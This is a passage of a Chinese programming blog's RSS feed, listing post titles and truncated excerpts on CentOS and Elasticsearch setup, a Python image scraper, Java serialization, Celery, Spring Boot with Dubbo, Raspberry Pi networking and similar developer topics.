      <description>1、安装操作系统 安装CentOS 7.9，最小化安装（Minimal）即可。&#xA;①系统要求 8核16G内存，100G存储空间&#xA;②安装依赖 yum -y install wget vim rpm apr apr-util bzip2 krb5-devel libyaml net-tools rsync zip libevent ③关闭selinux和防火墙 systemctl stop firewalld.service systemctl disable firewalld.service vi /etc/selinux/config #更改SELINUX=disabled reboot #重启后可以查看一下selinux状态 sestatus #正确的情况下会显示： SELinux status: disabled ④修改主机名 hostname gp-server vim /etc/hosts #在文件的末尾添加ip地址和主机名的映射关系 #例如：192.168.xxx.xxx&#x9;gp-server 2、修改信号量配置文件 首先查看一下当前的配置：&#xA;ipcs -ls ------ Semaphore Limits --------&#xA;max number of arrays = 128&#xA;max semaphores per array = 250&#xA;max semaphores system wide = 32000</description>
    </item>
    <item>
      <title>Python SQLite3 join示例</title>
      <link>https://bchobby.github.io/posts/1987fa4bdae5d742804982b1222b555a/</link>
      <pubDate>Wed, 17 Nov 2021 13:59:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1987fa4bdae5d742804982b1222b555a/</guid>
      <description>import sqlite3 from sqlite3 import Error def sql_connection(): try: con = sqlite3.connect(&#39;:memory:&#39;) return con except Error: print(Error) def sql_table(con): cursorObj = con.cursor() cursorObj.execute( &#39;&#39;&#39;create table a_table ( id int primary key not null, c2 int not null, c3 int not null );&#39;&#39;&#39;) con.commit() cursorObj.execute(&#39;&#39;&#39;create table b_table ( pid int not null references a_table, c2 int not null );&#39;&#39;&#39;) con.commit() cursorObj.execute(&#39;insert into a_table values (1, 2, 3);&#39;) con.commit() cursorObj.execute(&#39;insert into b_table values (1, 4);&#39;) con.</description>
    </item>
    <item>
      <title>vscode 使用正则表达式搜索模式，搜索项目中所有中文</title>
      <link>https://bchobby.github.io/posts/b84fd22954a4098f697e615e2c72f616/</link>
      <pubDate>Wed, 17 Nov 2021 13:50:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b84fd22954a4098f697e615e2c72f616/</guid>
      <description>(.[\u4E00-\u9FA5]+)|([\u4E00-\u9FA5]+.)&#xA;需要选择正则表达式模式哦</description>
    </item>
    <item>
      <title>ES系统配置优化</title>
      <link>https://bchobby.github.io/posts/515bda9bae73880cbb68e615e3dfff9e/</link>
      <pubDate>Wed, 17 Nov 2021 11:35:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/515bda9bae73880cbb68e615e3dfff9e/</guid>
      <description>es的配置需要注意的地方分为系统配置和es本身相关的一些配置&#xA;ES系统配置优化 1.增大进程可以打开的文件数， vim /etc/security/limits.conf&#xA;* soft nofile 100000 * hard nofile 131072 生效方式:shell重新连接就生效，应该是新的会话就生效&#xA;2.增大进程可以创建的线程数 2.1 vim /etc/security/limits.conf * soft nproc 10240 * hard nproc 20480 生效方式:shell重新连接就生效，应该是新的会话就生效&#xA;2.2 vim /etc/security/limits.d/90-nproc.conf * soft nproc 20480 生效方式:shell重新连接就生效，应该是新的会话就生效&#xA;3.修改可以分配的vma数量(mmap计数) vim /etc/sysctl.conf&#xA;vm.max_map_count = 655360 生效方式: sysctl -p&#xA;4.关闭swap vim /etc/fstab&#xA;注释掉有swap的那一行,这种好像是需要重启才有效果 sudo swapoff -a 会在当前系统生效&#xA;5.设置尽可能低的使用swap vim /etc/sysctl.conf&#xA;vm.swappiness=0 生效方式: sysctl -p&#xA;6.允许进程锁定内存 vim /etc/security/limits.conf&#xA;* soft memlock unlimited * hard memlock unlimited 生效方式:shell重新连接就生效，应该是新的会话就生效</description>
    </item>
    <item>
      <title>爬取mm131图片</title>
      <link>https://bchobby.github.io/posts/e45d097cb8f912be6f25f180db4fcf50/</link>
      <pubDate>Wed, 17 Nov 2021 11:00:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e45d097cb8f912be6f25f180db4fcf50/</guid>
      <description>import os import logging import requests from bs4 import BeautifulSoup logging.basicConfig(level=logging.INFO) def store_girl_img(girl_url, store_girl_dir): # 把girl_url的单个小姐姐放入store_girl_dir文件夹 girl_html = requests.get(girl_url) #访问girl_url网址 girl_html.encoding = &#34;gbk&#34; #修改编码，不然会是乱码 girl_text = girl_html.text #获取girl_html的网页内容。girl_html.content返回的是bytes数据 girl_src = BeautifulSoup(girl_text, &#39;lxml&#39;).find(&#34;div&#34;,class_=&#39;content-pic&#39;).find(&#39;img&#39;)[&#39;src&#39;] #BeautifulSoup用lxml库解析girl_html的网页内容，并找到所有class_=&#39;content-pic&#39;的div标签 #再找到img标签下的src属性，得到单张照片的链接 print(girl_src) # 此处加headers是为防反爬虫，如果不加会响应403，没有权限 headers = { &#39;Referer&#39;: girl_url, &#39;User-Agent&#39;: &#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36&#39; } file_name = girl_src.split(&#39;/&#39;)[-1] #将http://img1.mm131.me/pic/2016/1.jpg切片成[&#34;http://img1.mm131.me/pic/2016&#34;，&#34;1.jpg&#34;],[-1]就是去第二个1.jpg file_name = os.path.join(store_girl_dir, file_name) #在store_girl_dir目录下创建图片名字file_name，如1.jpg with open(file_name, &#39;wb&#39;) as f: #二进制模式打开file_name girl_content = requests.</description>
    </item>
    <item>
      <title>编译原理(第3版)第1章引论课后题答案</title>
      <link>https://bchobby.github.io/posts/25cdf1d1ae53082b5c251a3cb8195b0f/</link>
      <pubDate>Wed, 17 Nov 2021 10:23:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25cdf1d1ae53082b5c251a3cb8195b0f/</guid>
      <description>编译原理第一章课后答案</description>
    </item>
    <item>
      <title>简单组件和随机组件的区别(React使用脚手架写项目)</title>
      <link>https://bchobby.github.io/posts/672f76f1903527d0e0439c4bb2c93a02/</link>
      <pubDate>Wed, 17 Nov 2021 09:02:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/672f76f1903527d0e0439c4bb2c93a02/</guid>
      <description>https://www.cnblogs.com/zjh-study/p/10937847.html</description>
    </item>
    <item>
      <title>序列化和反序列化简单介绍</title>
      <link>https://bchobby.github.io/posts/77c23cfb5973fdab8f33f390137580d8/</link>
      <pubDate>Tue, 16 Nov 2021 19:18:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/77c23cfb5973fdab8f33f390137580d8/</guid>
      <description>一、什么是序列化？&#xA;简单来说，序列化就是将对象的状态储存到特定储存介质中的过程&#xA;在此过程中会将对象的公有成员、私有成员包括类名，转换成字节流（二进制），然后再把字节流写入数据流，储存到存储介质中，这里说的存储介质通常是文件&#xA;举个简单的例子，序列化就像我们做米饭的过程，米饭就是对象，电饭煲蒸饭的过程就是转换成字节流的过程，电饭煲就是数据流，饭碗就是存储介质(有些博客写着写着就饿了、、、、、)&#xA;二、序列化的意义&#xA;将Java对象序列化后，可以将其转化成字节序列，这样就可以保存在磁盘上，也可以同时借助网络进行传输，注意，这时候的对象是二进制的状态，如果再设置一个反序列化系统，可以实现平台无关性，这样就会非常的安全。反序列化之后可以得到相同对象，就不用担心数据因为平台问题显示异常了&#xA;三、序列化和反序列化代码的实现&#xA;举个把对象属性写入新文档的例子&#xA;上半部分是对象属性的封装和构造方法&#xA;* @Date:2021 * @Description; */ public class Student implements Serializable { private int id; private String name; private int age; private double height; public Student(int id, String name, int age, double height) { setId(id); setHeight(height); setName(name); setAge(age); } @Override public String toString() { return &#34;Student{&#34; + &#34;id=&#34; + id + &#34;, name=&#39;&#34; + name + &#39;\&#39;&#39; + &#34;, age=&#34; + age + &#34;</description>
    </item>
    <item>
      <title>src文件和bin文件区别与关联</title>
      <link>https://bchobby.github.io/posts/cbcd1d50d97b0fb6499629aabf4ce580/</link>
      <pubDate>Tue, 16 Nov 2021 16:13:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cbcd1d50d97b0fb6499629aabf4ce580/</guid>
      <description>1、src里面存的是源文件（.java），就是人能看得懂的文件&#xA;2、bin里面存的是打包文件（.class）,就是编译后的字节码文件，让机器看的&#xA;两个文件夹里面的文件名是对应的</description>
    </item>
    <item>
      <title>分治算法思想解决找假硬币的问题</title>
      <link>https://bchobby.github.io/posts/7bc9069be24f1ac8aa6077cc0dbbd1df/</link>
      <pubDate>Tue, 16 Nov 2021 16:00:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7bc9069be24f1ac8aa6077cc0dbbd1df/</guid>
      <description> 分治算法思想解决找假硬币的问题&#xA;参考文章：&#xA;（1）分治算法思想解决找假硬币的问题&#xA;（2）https://www.cnblogs.com/zhezh/p/3773377.html&#xA;备忘一下。 </description>
    </item>
    <item>
      <title>SQL知识整理三：变量、全局变量、视图、事务、异常</title>
      <link>https://bchobby.github.io/posts/9a86f6cd5a65e3821e8d9a2414e8b9fd/</link>
      <pubDate>Tue, 16 Nov 2021 15:47:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a86f6cd5a65e3821e8d9a2414e8b9fd/</guid>
      <description> SQL知识整理三：变量、全局变量、视图、事务、异常&#xA;参考文章：&#xA;（1）SQL知识整理三：变量、全局变量、视图、事务、异常&#xA;（2）https://www.cnblogs.com/chengxingliang/p/3333277.html&#xA;备忘一下。 </description>
    </item>
    <item>
      <title>koa结合koa-router开发nodejs服务</title>
      <link>https://bchobby.github.io/posts/df44cd3fad9b024749e72e761f55dd85/</link>
      <pubDate>Tue, 16 Nov 2021 15:02:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df44cd3fad9b024749e72e761f55dd85/</guid>
      <description>koa-service ├─ babel.config.json - Babel配置项 ├─ package-lock.json ├─ package.json ├─ README.md └─ src - 源文件 ├─ app - koa实例 │ ├─ conf.js - koa相关配置项 │ └─ index.js - koa入口文件 ├─ auth - 权限验证 │ └─ index.js - 权限验证入口文件 ├─ controllers - 控制器 │ ├─ common - 公共控制器 │ ├─ index.js - 控制器入口文件 │ ├─ modules - 模块控制器 │ │ ├─ role.js - 角色控制器 │ │ └─ user.js - 用户控制器 │ └─ util.</description>
    </item>
    <item>
      <title>Madagascar常用命令</title>
      <link>https://bchobby.github.io/posts/37bf2e01f3d484939c989f40e4a18a9f/</link>
      <pubDate>Tue, 16 Nov 2021 14:47:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/37bf2e01f3d484939c989f40e4a18a9f/</guid>
      <description>sfspike 用于生成rsf道头、脉冲信号、层状速度模型&#xA;sfsmooth rect1=10 rect2=10 repeat=10 &amp;lt; input.rsf &amp;gt; output.rsf 速度场平滑&#xA;sfcat 数据拼接&#xA;sfwindow 数据剪裁&#xA;sfpad2 速度场边值镶边&#xA;sfdipfilter 斜干扰去除 未完待遇欢迎补充~~~</description>
    </item>
    <item>
      <title>elementui 页面数字重置</title>
      <link>https://bchobby.github.io/posts/941da3bdcd81448ef3fa1a63a3e73a16/</link>
      <pubDate>Tue, 16 Nov 2021 11:10:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/941da3bdcd81448ef3fa1a63a3e73a16/</guid>
      <description> &amp;lt;template&amp;gt; &amp;lt;el-pagination @size-change=&#34;changeSize&#34; @current-change=&#34;getData&#34; :current-page=&#34;1&#34; :current-page.sync=&#34;currentPage&#34; :page-sizes=&#34;[10, 20, 40, 80]&#34; :page-size=&#34;10&#34; layout=&#34;total, sizes, prev, pager, next, jumper&#34; :total=&#34;total&#34;&amp;gt; &amp;lt;/el-pagination&amp;gt; &amp;lt;/template&amp;gt; data() { currentPage: 1 } methods:{ this.currentPage = 1; } </description>
    </item>
    <item>
      <title>字节流和字符流区别（附例子）</title>
      <link>https://bchobby.github.io/posts/1b9c9601e0b472ef6822a9f3f612a5b2/</link>
      <pubDate>Tue, 16 Nov 2021 10:08:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b9c9601e0b472ef6822a9f3f612a5b2/</guid>
      <description> 字节流和字符流的用法几乎完成全一样，区别在于字节流和字符流所操作的数据单元不同，字节流操作的单元是数据单元是8位的字节，字符流操作的是数据单元为16位的字符。&#xA;区别&#xA;字节流一般用来处理图像、视频、音频、PPT、Word等类型的文件。字符流一般用于处理纯文本类型的文件&#xA;字节流本身没有缓冲区，缓冲字节流相对于字节流，效率提升非常高，字符流本身就带有缓冲区&#xA;可以用转换流来进行转换；&#xA;举个例子&#xA;把a.txt文件中的字节先转换char型数组，再转换成字符流，因为char型可能会溢出的问题。但是会以空格的形式打印出来，所以用trim（）方法来去除左右空格&#xA;/** * @Author: Adminstrator * @Date:2021 * @Description;转换流 * InputStreamReader用于将字节输入流转换为字符输入流， * OutputStreamWriter用于将字节输出流转换为字符输出流 * 使用转换流可以在一定程度上避免乱码，还可以指定输入输出所使用的字符集 */ public class TestTransfer { public static void main(String[] args) throws IOException { FileInputStream fis=new FileInputStream(&#34;a.txt&#34;); InputStreamReader isr=new InputStreamReader(fis); char[] c=new char[fis.available()]; isr.read(c); FileOutputStream fos=new FileOutputStream(&#34;b.txt&#34;,true); OutputStreamWriter osw=new OutputStreamWriter(fos); osw.write(new String(c).trim()); osw.close(); isr.close(); fis.close(); } } </description>
    </item>
    <item>
      <title>Python之celery的简介与使用</title>
      <link>https://bchobby.github.io/posts/c086428efe2cab9b315256e6be8f745b/</link>
      <pubDate>Tue, 16 Nov 2021 09:18:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c086428efe2cab9b315256e6be8f745b/</guid>
      <description>celery的简介 celery是一个基于分布式消息传输的异步任务队列，它专注于实时处理，同时也支持任务调度。它的执行单元为任务（task），利用多线程，如Eventlet，gevent等，它们能被并发地执行在单个或多个职程服务器（worker servers）上。任务能异步执行（后台运行）或同步执行（等待任务完成）。&#xA;在生产系统中，celery能够一天处理上百万的任务。它的完整架构图如下：&#xA;celery架构图&#xA;组件介绍：&#xA;Producer：调用了Celery提供的API、函数或者装饰器而产生任务并交给任务队列处理的都是任务生产者。Celery Beat：任务调度器，Beat进程会读取配置文件的内容，周期性地将配置中到期需要执行的任务发送给任务队列。Broker：消息代理，又称消息中间件，接受任务生产者发送过来的任务消息，存进队列再按序分发给任务消费方（通常是消息队列或者数据库）。Celery目前支持RabbitMQ、Redis、MongoDB、Beanstalk、SQLAlchemy、Zookeeper等作为消息代理，但适用于生产环境的只有RabbitMQ和Redis, 官方推荐 RabbitMQ。Celery Worker：执行任务的消费者，通常会在多台服务器运行多个消费者来提高执行效率。Result Backend：任务处理完后保存状态信息和结果，以供查询。Celery默认已支持Redis、RabbitMQ、MongoDB、Django ORM、SQLAlchemy等方式。 在客户端和消费者之间传输数据需要序列化和反序列化。 Celery 支出的序列化方案如下所示:&#xA;celery序列化&#xA;准备工作 在本文中，我们使用的celery的消息代理和后端存储数据库都使用redis，序列化和反序列化选择msgpack。&#xA;首先，我们需要安装redis数据库，具体的安装方法可参考：Redis 安装 | 菜鸟教程 。&#xA;我是装在ubuntu上的&#xA;启动redis，我们会看到如下界面：</description>
    </item>
    <item>
      <title>【强化学习】策略梯度（Policy Gradient）</title>
      <link>https://bchobby.github.io/posts/67f1e9b9275a313a5a086908e0633148/</link>
      <pubDate>Mon, 15 Nov 2021 21:21:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67f1e9b9275a313a5a086908e0633148/</guid>
      <description>目录&#xA;策略梯度基本知识&#xA;策略梯度公式&#xA;如何使损失函数更好？&#xA;添加基线&#xA;为每个动作分配不同的权重&#xA;策略梯度基本知识 强化学习主要分为两类：&#xA;基于价值的（如 Sarsa、Q-Learning 和 DQN 算法），先计算每个状态对应的动作的 Q 值，再选择 Q 值最大的动作执行。基于策略的：直接计算每个状态对应的动作或者动作的概率。 Policy Gradient 算法就是对策略函数进行建模，然后用梯度下降更新网络的参数。但是在强化学习中并没有实际的损失函数，而 PG 算法的目的是最大化累计奖励的期望值，因此将累计奖励的期望值作为损失函数，使用梯度上升算法来进行计算。&#xA;策略梯度公式 每一个动作 获得相应的奖励，则累积奖励为，我们希望累积奖励最大化，累积奖励是个变量，其期望是定值，因此我们希望累计奖励的期望最大化。&#xA;如何使损失函数更好？ 添加基线 为每个动作分配不同的权重 技巧1中只要在同一个回合里面，同一场游戏里面，所有的状态跟动作的对都会使用同样的奖励项进行加权，这件事情显然是不公平的，因为在同一场游戏里面也许有些动作是好的，有些动作是不好的。给每一个不同的动作前面都乘上不同的权重。每一个动作的不同权重，它反映了每一个动作的好坏。&#xA;将权重从整场游戏的奖励的总和，改成从动作开始执行的时间 t 的奖励的总和&#xA;再增加一个衰减因子γ，意味着随着时间推移，组合越来越多，那么越后面的组合的影响就越来越小。</description>
    </item>
    <item>
      <title>放大器和比较器究竟有什么区别？</title>
      <link>https://bchobby.github.io/posts/1a34cb4cfac5e270343e9b5fd50a0e16/</link>
      <pubDate>Mon, 15 Nov 2021 11:32:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a34cb4cfac5e270343e9b5fd50a0e16/</guid>
      <description>运算放大器和比较器无论外观或图纸符号都差不多，那么它们究竟有什么区别，在实际应用中如何区分？今天我们来图文全面分析一下，夯实大家的基础，让工程师更上一层楼。&#xA;先看下图，这是运算放大器和比较器的内部区别图：&#xA;从内部图可以看出运算放大器和比较器的差别在于输出电路。运算放大器采用双晶体管推挽输出，而比较器只用一只晶体管，集电极连到输出端，发射极接地。&#xA;比较器需要外接一个从正电源端到输出端的上拉电阻，该上拉电阻相当于晶体管的集电极电阻。&#xA;运算放大器可用于线性放大电路（负反馈），也可用于非线性信号电压比较（开环或正反馈）。电压比较器只能用于信号电压比较，不能用于线性放大电路（比较器没有频率补偿）。&#xA;两者都可以用于做信号电压比较，但比较器被设计为高速开关，它有比运算放大器更快的转换速率和更短的延时。&#xA;No.1&#xA;运算放大器 运算放大器在主板电路图中很常见，一般用于稳压电路；在负反馈电路中，它与晶体管配合相当于一个三端稳压器，但使用起来更灵活。&#xA;在许多情况下，需要知道两个信号中哪个比较大，或一个信号何时超出预设的电压（用作电压比较）。用运算放大器便可很容易搭建一个简单电路实现该功能。当V+电压大于V-电压时，输出高电平。当V+电压小于V-电压时，输出低电平。&#xA;分析一下电路，2.5V经电阻分压得到1V输入到V-端，当总线电压正常产生1.2V时，输入到V+，此时V+电压比V-电压高，输出一个高电平到CPU电源管理芯片的EN开启脚。&#xA;如果总线电压没输出或不正常少于1V，此时V+电压比V-电压低，输出低电平。&#xA;No.2&#xA;电压比较器 当比较器的同相端电压（V+）低于反相端电压（V-）时，输出晶体管导通，输出接地低电平；当同相端电压高于反相端时，输出晶体管截止，通过上拉电阻的电源输出高电平。&#xA;分析一下该电路，上面的比较器U8A当有VCC输出时经过分压电阻分压后，输入到同相端（V+），其电压大于5VSB经分压后输入到反相端（V-）的电压，内部晶体管截止，输出经上拉电阻的电源12V（同时下面的比较器U8B同相端电压也大于反相端，内部晶体管也是截止），N沟道场管Q37导通，输出VCC5V。&#xA;同时P沟道场管Q293截止。反之，当反相端电压大于同相端电压时，内部晶体管导通，上拉电源12V被拉低为低电平，N沟道场管Q37截止，同时P沟道场管Q293导通，输出5VSB。这个就是5VDUAL产生电路。&#xA;在实际应用中比较器都需要上拉电源，而运算放大器一般不需要。&#xA;1.浅谈传感器市场的发展趋势~&#xA;2.目前全球MCU的现状~&#xA;3.芯片缺货实情难判断，有MCU厂已进入对峙期~&#xA;4.【喂到嘴边了的模块】超级嵌入式系统“性能/时间”工具箱~&#xA;5.国产32位MCU未来要怎样发展？&#xA;6.做嵌入式软件开发提高代码编译速度的几种方法~&#xA;免责声明：本文系网络转载，版权归原作者所有。如涉及作品版权问题，请与我们联系，我们将根据您提供的版权证明材料确认版权并支付稿酬或者删除内容。</description>
    </item>
    <item>
      <title>Linux的用户管理</title>
      <link>https://bchobby.github.io/posts/9d574a5916e7976eaac53636f8779d8e/</link>
      <pubDate>Sun, 14 Nov 2021 23:18:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d574a5916e7976eaac53636f8779d8e/</guid>
      <description>基本介绍&#xA;linux是一个多用户多任务的操作系统，任何一个使用系统资源的用户，都必须首先向系统管理员申请一个账号，然后以这个账号的身份进入系统&#xA;添加用户&#xA;基本语法&#xA;useradd 用户名应用案例&#xA;案例1：添加一个用户jack，默认该用户的家目录在 /home/jack [root@ShenLangBo ~]# useradd jack 细节说明&#xA;当用户创建成功后，会自动创建与用户同名的家目录&#xA;也可以使用 useradd -d 指定目录 新的用户名，给新创建的用户指定家目录 修改密码&#xA;基本语法&#xA;passwd 用户名应用案例&#xA;给jack指定密码 [root@ShenLangBo home]# passwd jack Changing password for user jack. New password: BAD PASSWORD: The password is shorter than 8 characters Retype new password: passwd: all authentication tokens updated successfully. 删除用户&#xA;基本语法&#xA;userdel 用户名应用案例&#xA;删除用户，但要保留家目录&#xA;userdel 用户名 （保留家目录）&#xA;删除用户以及家目录&#xA;userdel -r 用户名 （删除用户及家目录)&#xA;备注：&#xA;删除用户是非必须，勿删除用户的家目录 查询用户信息</description>
    </item>
    <item>
      <title>spring-boot-devtools 热部署（三个步骤完成）</title>
      <link>https://bchobby.github.io/posts/c6ef35ce9822295f2889097a6ecf604a/</link>
      <pubDate>Sun, 14 Nov 2021 15:56:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6ef35ce9822295f2889097a6ecf604a/</guid>
      <description>1、引入依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-devtools&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;runtime&amp;lt;/scope&amp;gt; &amp;lt;optional&amp;gt;true&amp;lt;/optional&amp;gt; &amp;lt;/dependency&amp;gt; 2、配置&#xA;3、配置&#xA;修改了 Java 源代码以后。</description>
    </item>
    <item>
      <title>六、Springboot整合Dubbo&#43;zookeeper(dubbo可视化)</title>
      <link>https://bchobby.github.io/posts/19699aa9c6f43023c412f1dac27c0890/</link>
      <pubDate>Sun, 14 Nov 2021 14:50:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19699aa9c6f43023c412f1dac27c0890/</guid>
      <description>1. 安装zookeeper （windows版） 下载zookeeper 网址 Index of /dist/zookeeper/zookeeper-3.4.13 解压后进入conf，将zoo_sample.cfg复制一份改名为zoo.cfg 注意配置中的参数： dataDir=D:\\Setup\\zookeeper\\data dataDirLog=D:\\Setup\\zookeeper\\log clientPort=2181 (zookeeper的端口号) 返回bin目录，启动zookeeper：运行zkServer.cmd,运行完毕运行zkCli.cmd 测试 2.安装dubbo-admin管理控制台（windows版） dubbo本身并不是一个服务软件。它其实就是一个jar包能够帮你的java程序连接到zookeeper，并利用zookeeper消费、提供服务。所以你不用在Linux上启动什么dubbo服务。 但是为了让用户更好的管理监控众多的dubbo服务，官方提供了一个可视化的监控程序，不过这个监控即使不装也不影响使用。 下载dubbo-admin https://github.com/apache/dubbo-admin/tree/master-0.2.0 整个工程下下来 修改 src\main\resources\application.properties 指定zookeeper地址 cmd打包dubbo-admin mvn clean package -Dmaven.test.skip=true (第一次打包时间可能有点长) target中找到dubbo-admin-0.0.1-SNAPSHOT，cmd进去命令行 输入java -jar dubbo-admin-0.0.1-SNAPSHOT.jar 访问： http://localhost:7001/ 看到如下界面 默认帐号密码都是root 3. 创建项目： 模拟需求：订单服务web模块在A服务器，用户服务模块在B服务器，A可以远程调用B的功能。 模块 功能 订单服务web模块 创建订单等 用户服务service模块 查询用户地址等 一、创建父工程Maven项目，springboot-dubbo 1.pom.xml &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd&#34;&amp;gt; &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt; &amp;lt;groupId&amp;gt;com.test&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-dubbo&amp;lt;/artifactId&amp;gt; &amp;lt;packaging&amp;gt;pom&amp;lt;/packaging&amp;gt; &amp;lt;version&amp;gt;1.0-SNAPSHOT&amp;lt;/version&amp;gt; &amp;lt;modules&amp;gt; &amp;lt;module&amp;gt;mall-api&amp;lt;/module&amp;gt; &amp;lt;/modules&amp;gt; &amp;lt;/project&amp;gt; 二、右键新建module创建maven项目：mall-api 工程结构如下： 1.</description>
    </item>
    <item>
      <title>树莓派与PC通过网线相连共享网络，树莓派无法远程连接和上网</title>
      <link>https://bchobby.github.io/posts/979df054adddf9ec5e0493fcf1a56cf1/</link>
      <pubDate>Fri, 12 Nov 2021 15:56:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/979df054adddf9ec5e0493fcf1a56cf1/</guid>
      <description>先拔掉树莓派和pc之间的网线，在适配器选项中WiFi处取消网络共享给以太网，再重新共享网络给以太网（具体操作可参考下面WLAN修改共享给以太网）再连上网线，等待几分钟，看看在PC机上通过dos界面输入arp -a在192.168.137.1下面是否为静态ip（这个方法成功了，下面一堆操作只能让pc通过ssh连上树莓派，不能让树莓派上网即树莓派和PC不能共享网络）&#xA;在第一次通过网线将树莓派与PC相连，能够实现网络共享，但第二次使用则pc无法通过ssh连接树莓派，后面发现第一次能够成功时使用了静态ip，在第二次使用时，树莓派已经变成了动态ip，是造成这次失败的主要原因。下面将通过初次树莓派与PC相连和再次共享网络raspi无法ssh连接解决方案两方面描述。&#xA;树莓派与PC初次通过网线共享网络 ①树莓派版本：&#xA;Linux raspberrypi 5.10.63-v7l+ armv7l GNU/Linux （32位raspi buster版本）&#xA;②一根网线&#xA;③PC机&#xA;原理：我们个人的笔记本现在基本有两种方式联网，一种是插网线，第二种是通过wifi连接，我们可以通过wifi自己的笔记本连接网络，再通过网线和树莓派进行共享笔记本的wifi获得的网络。我们通过网线共享的网络，默认&#xA;使用192.168.137.0/255做为内网地址，192.168.137.1做为网关。&#xA;步骤：&#xA;首先我们要清楚，我们接下来的操作需要修改网络设置是WLAN和以太网。&#xA;①先将网线两端插入树莓派和PC&#xA;②WLAN修改&#xA;按win键-&amp;gt;点击电源上面的设置-&amp;gt;网络和Internet-&amp;gt;WLAN-&amp;gt;更改适配器选项-&amp;gt;右击WLAN-&amp;gt;属性-&amp;gt;共享-&amp;gt;勾选 允许其他网络用户通过此计算机的Internet连接来连接（N）-&amp;gt;选择家庭网络连接为需要共享网络的以太网接口（插入网线就可以知道你是哪个以太网接口了）-&amp;gt;下面那个 允许其他网络用户控制或禁用共享的Internet连接 也勾选-&amp;gt;确定&#xA;③以太网修改&#xA;WLAN我们已经设置好，下面设置以太网&#xA;按win键-&amp;gt;点击电源上面的设置-&amp;gt;网络和Internet-&amp;gt;以太网-&amp;gt;更改适配器选项-&amp;gt;右击以太网（插上网线有反应那个）-&amp;gt;网络-&amp;gt;双击 Internet协议版本4（TCP/IPv4）-&amp;gt;使用下面的IP地址（IP地址：192.168.237.1；子网掩码：255.255.255.0）-&amp;gt;其他如dns默认不用改就按确定。&#xA;通过win+R cmd命令进入DOS界面，输入&#xA;arp -a 在接口: 192.168.137.1 — 0x8 下面能看到树莓派的ip地址，最特殊的那个，当然现在是静态的（后面树莓派与PC连接，树莓派连不上网，发现这里变成了动态，网段也不再静态时的网段，就是这里出了问题）接下来就可以通过xshell或者SecureCRT或者vncvierer远程连接软件通过ssh连接树莓派。&#xA;通过ifconfig命令查看ip可以验证上面的步骤。&#xA;再次共享网络raspi无法ssh连接解决方案 win + R打开cmd&#xA;输入命令&#xA;arp -a 查看接口: 192.168.137.1 — 0x8 下面能看到树莓派的ip地址，发现IP地址变成动态了，导致无法通过ssh连接树莓派（已通过raspi-config打开interface option中的ssh和vnc）。下面我们通过修改树莓派IP地址来解决这个问题。&#xA;断电，拔出树莓派上的sd卡插入电脑&#xA;在boot盘符里找到cmdline.txt文件，修改cmdline.txt文件，打开文件在开头加入ip=192.168.137.37&#xA;这里要注意我们前面在以太网上设置了手动ip：192.168.137.1，所以这里也一定要192.168.137.开头，保持在同一个网段，且不要与其他ip冲突。&#xA;取出sd卡后插入树莓派，一定要保持网线相连再开启树莓派，否则无法开启。开启就能通过ssh连接树莓派了。</description>
    </item>
    <item>
      <title>Nacos注册、配置中心整合Dubbo远程调用</title>
      <link>https://bchobby.github.io/posts/95f761b7b7e5682394620eb7ccd99bba/</link>
      <pubDate>Thu, 11 Nov 2021 16:38:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/95f761b7b7e5682394620eb7ccd99bba/</guid>
